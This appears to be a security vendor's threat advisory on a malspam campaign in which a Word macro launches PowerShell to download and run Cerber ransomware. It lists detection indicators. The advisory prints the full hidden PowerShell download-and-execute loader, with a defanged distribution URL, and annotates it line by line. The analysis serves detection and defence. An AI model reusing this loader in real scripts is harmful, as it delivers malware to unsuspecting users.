During the early weeks of July, malspam activity delivered a malicious word document, which uses macros to download and execute a Cerber ransomware payload. This is not a new exploitation vector. Macros are often abused to perform malicious tasks, like downloading and dropping malware. Victims can easily be tricked into running the malicious macro.
Submitting the delivery document to What's This File service shows more information about the malicious word document.
This activity and more is also captured in the process tree below shows the series of events that led to downloading and executing a Cerber payload:
The macro in our MS Word Document calls PowerShell to connect to the malware’s distribution website to download and run an executable:
powershell -WindowStyle Hidden $wscript = new-object -ComObject WScript.Shell;$webclient = new-object System.Net.WebClient;$random = new-object random;$urls = 'http://dastonond[.]top/admin.php?f=1.jpg'.Split(',');$name = $random.next(1, 65536);$path = $env:temp + '\' + $name + '.exe';foreach($url in $urls){try{$webclient.DownloadFile($url.ToString(), $path);Start-Process $path;break;}catch{write-host $_.Exception.Message;}}
Line-By-Line analysis of PowerShell Command:
powershell.exe
-WindowStyle Hidden $wscript = new-object -ComObject WScript.Shell;
$webclient = new-object System.Net.WebClient;
$random = new-object random;
$urls = ‘http://dastonond[.]top/admin.php?f=1.jpg'.Split(',')
$name = $random.next(1, 65536);
$path = $env:temp + ‘\’ + $name + ‘.exe’;
foreach($url in $urls){try{
$webclient.DownloadFile($url.ToString(), $path);
Start-Process $path;}break;}
catch{write-host $_.Exception.Message;}
In our case, it downloads a JPG file. Well, it is actually a PE file saved to C:\Users\<user>\AppData\Local\Temp\5356.exe". It runs and starts to spawn a number of processes to gather information and to encrypt files on the infected system.
VirusTotal analysis of the dropped file confirm it’s Cerber Ransomware:
Once the ransomware has successfully installed, post-infection traffic shows typical Cerber beaconing UDP spray out to 77.12.57/24 on port number 6893.
Current NetWitness detection flags both payment domain (key.dga.tld pattern) as 'cerber ransomware' and the UDP spray as 'cerber beacon' in the <Indicators of Compromise> meta field.
Additionally, <File Analysis> flags for 'js eval no docwrite' and 'exe filetype but not exe extension' should be noted as indicators of possibly malicious files.
All the IOCs are added to the following feeds on Live:
For more information on Cerber ransomware, its evolution and detection techniques using RSA NetWitness, Please check the following RSA Link articles:
Thanks go to Ahmed Sonbol and Kevin Stear for contributing to this threat advisory.
References:
You must be a registered user to add a comment. If you've already registered, sign in. Otherwise, register and sign in.